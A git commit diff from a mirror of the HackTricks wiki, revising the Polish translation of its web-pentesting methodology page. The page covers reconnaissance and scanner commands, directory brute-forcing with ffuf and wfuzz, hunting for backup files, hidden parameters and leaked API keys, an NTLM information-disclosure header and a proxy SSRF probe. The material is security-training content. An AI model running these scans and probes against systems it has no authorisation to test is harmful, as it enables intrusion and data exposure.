mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/README.md',
This commit is contained in:
parent
1fccd9c8ca
commit
71c12e222c
@ -423,6 +423,7 @@
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
|
||||
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
|
||||
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
|
||||
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
|
@ -23,9 +23,9 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodology summary
|
||||
## Podsumowanie metodologii
|
||||
|
||||
> W tej metodologii zakładamy, że zamierzasz zaatakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie.
|
||||
> W tej metodologii zakładamy, że będziesz atakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie.
|
||||
|
||||
- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer webowy. Szukaj **sztuczek**, które warto mieć na uwadze podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię.
|
||||
- [ ] Czy istnieje jakakolwiek **znana luka** w wersji technologii?
|
||||
@ -36,17 +36,17 @@ web-api-pentesting.md
|
||||
- [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
|
||||
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on spiderowany._
|
||||
- [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**.
|
||||
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on Brute-Forced._
|
||||
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on poddany brute force._
|
||||
- [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych.
|
||||
- [ ] **Brute-Force parametry**: Spróbuj **znaleźć ukryte parametry**.
|
||||
- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane wejściowe użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym.
|
||||
- [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**.
|
||||
- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym.
|
||||
- [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Wersja serwera (Vulnerable?)
|
||||
|
||||
### Identify
|
||||
### Identyfikacja
|
||||
|
||||
Sprawdź, czy istnieją **znane luki** dla wersji serwera **działającej**.\
|
||||
Sprawdź, czy istnieją **znane luki** dla wersji serwera, która działa.\
|
||||
**Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** **technologii** i/lub **wersji** używanej. **Skanowanie Nmap** może zidentyfikować wersję serwera, ale mogą być również przydatne narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
@ -78,6 +78,7 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
- [**Jira**](jira.md)
|
||||
@ -98,19 +99,19 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Pamiętaj, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
|
||||
_Pamiętaj, że **ta sama domena** może używać **różnych technologii** w różnych **portach**, **folderach** i **subdomenach**._\
|
||||
Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **poszukać w Internecie** nowych sztuczek (i daj mi znać!).
|
||||
|
||||
### Przegląd kodu źródłowego
|
||||
|
||||
Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia **własnego testu White box** aplikacji, istnieje **kilka informacji**, które mogą być **przydatne** dla aktualnego **testowania Black-Box**:
|
||||
Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia **własnego testu White box** aplikacji, istnieje **kilka informacji**, które mogą być **przydatne** dla obecnego **testowania Black-Box**:
|
||||
|
||||
- Czy istnieje plik **Change-log lub Readme lub Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez sieć?
|
||||
- Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||
- Czy **hasła** są w **czystym tekście**, **szyfrowane** czy jaki **algorytm haszujący** jest używany?
|
||||
- Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany?
|
||||
- Czy możesz **uzyskać dostęp do któregokolwiek z tych plików**, wykorzystując jakąś lukę?
|
||||
- Czy są jakieś **interesujące informacje na githubie** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
|
||||
- Czy w **github** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -145,9 +146,9 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakiekolwiek dane) oraz kilka wskazówek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
|
||||
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakiekolwiek dane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
|
||||
|
||||
## Odkrywanie aplikacji webowej krok po kroku
|
||||
## Krok po kroku Odkrywanie Aplikacji Webowej
|
||||
|
||||
> Od tego momentu zaczniemy interakcję z aplikacją webową.
|
||||
|
||||
@ -166,7 +167,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do nich dziwne dane. Może to otworzyć **luki** lub **ujawnienie wrażliwych informacji**.
|
||||
|
||||
- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.etc)
|
||||
- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.itd)
|
||||
- **Dodaj "\[]", "]]" i "\[\["** w **wartościach cookie** i **wartościach parametrów**, aby stworzyć błędy
|
||||
- Generuj błąd, podając dane jako **`/~randomthing/%s`** na **końcu** **URL**
|
||||
- Spróbuj **różnych metod HTTP** jak PATCH, DEBUG lub błędnych jak FAKE
|
||||
@ -212,35 +213,35 @@ Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i w osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Pythonie 2.7 używający Tornado i JSBeautifier do analizy względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w pythonie 2.7 używający Tornado i JSBeautifier do parsowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni z niego adresy URL, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbieraj interesujące informacje z plików JS, używając kilku narzędzi.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS, używając kilku narzędzi.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w bezgłowym przeglądarku i wypisuje wszystkie załadowane adresy URL.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści, łączące kilka opcji poprzednich narzędzi.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu URL .js.map pobierze zbeatyfikowany kod JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska zbeatyfikowany kod JS.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z maszyny wayback (również pobierając odpowiedzi w wayback i szukając więcej linków).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuje (nawet wypełniając formularze) i również znajduje wrażliwe informacje, używając specyficznych wyrażeń regularnych.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów w dziedzinie cyberbezpieczeństwa.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu stworzenia niestandardowej listy słów do fuzzingu i enumeracji.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda się znaleźć.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć.
|
||||
|
||||
### Brute Force directories and files
|
||||
### Brute Force katalogów i plików
|
||||
|
||||
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić brute-forcing **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkie katalogi **odkryte** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||
Narzędzia:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia przeszukiwanie rekursywne.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **przeszukiwania** rekursywnego.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera przeszukiwanie rekursywne.**
|
||||
- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu do innych opcji.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia wyszukiwanie rekurencyjne.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **wyszukiwania** **rekurencyjnego**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera wyszukiwanie rekurencyjne.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które po podaniu listy znalezionych adresów URL usunie "zduplikowane" adresy URL.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które, podając listę znalezionych adresów URL, usunie "zduplikowane" adresy URL.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Rozszerzenie Burp do tworzenia listy katalogów z historii burp różnych stron.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa adresy URL z zduplikowanymi funkcjonalnościami (na podstawie importów js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wybierania list słów do użycia.
|
||||
@ -248,7 +249,7 @@ Narzędzia:
|
||||
**Zalecane słowniki:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [**Dirsearch** wbudowany słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
- [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
@ -264,43 +265,43 @@ Narzędzia:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
_Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
### Co sprawdzić w każdym znalezionym pliku
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki w HTML, które mogą być podatne na przejęcia.
|
||||
- **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa kopii zapasowej to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukiwać** ukryte parametry w każdym wykonywalnym pliku webowym.
|
||||
- _Arjun wszystkie domyślne listy słów:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Komentarze:** Sprawdź komentarze wszystkich plików, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
|
||||
- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
|
||||
- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, gdy otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
|
||||
- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp.
|
||||
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomena** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** **uprawnienia** bucketu](buckets/index.html).
|
||||
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
### Specjalne znaleziska
|
||||
|
||||
**Podczas** wykonywania **spideringu** i **brute-forcing** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||
**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||
|
||||
**Interesujące pliki**
|
||||
|
||||
- Szukaj **linków** do innych plików w **plikach CSS**.
|
||||
- [Jeśli znajdziesz plik _**.git**_, można wyodrębnić pewne informacje](git.md).
|
||||
- Jeśli znajdziesz _**.env**_, można znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
|
||||
- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają" jak one.
|
||||
- Jeśli znajdziesz _**.env**_, można znaleźć takie informacje jak klucze API, hasła do baz danych i inne informacje.
|
||||
- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają jak" one.
|
||||
- **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębnić ścieżki z plików JS. Również, warto **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
|
||||
- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
- **Deobfuscacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
|
||||
- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane. To będzie przydatne: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (obejście)**
|
||||
|
||||
{{#ref}}
|
||||
403-and-401-bypasses.md
|
||||
@ -308,19 +309,19 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz SSRF**.
|
||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
**NTLM Authentication - ujawnienie informacji**
|
||||
|
||||
Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz spowodować **ujawnienie informacji**.\
|
||||
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz wywołać **ujawnienie informacji**.\
|
||||
**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym miejscu.
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w środku.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
### Sprawdzanie luk w aplikacjach webowych
|
||||
|
||||
Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych luk. Możesz znaleźć listę kontrolną tutaj:
|
||||
|
||||
@ -328,17 +329,17 @@ Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas spraw
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Więcej informacji o lukach webowych znajdziesz w:
|
||||
Więcej informacji o lukach webowych znajdziesz na:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
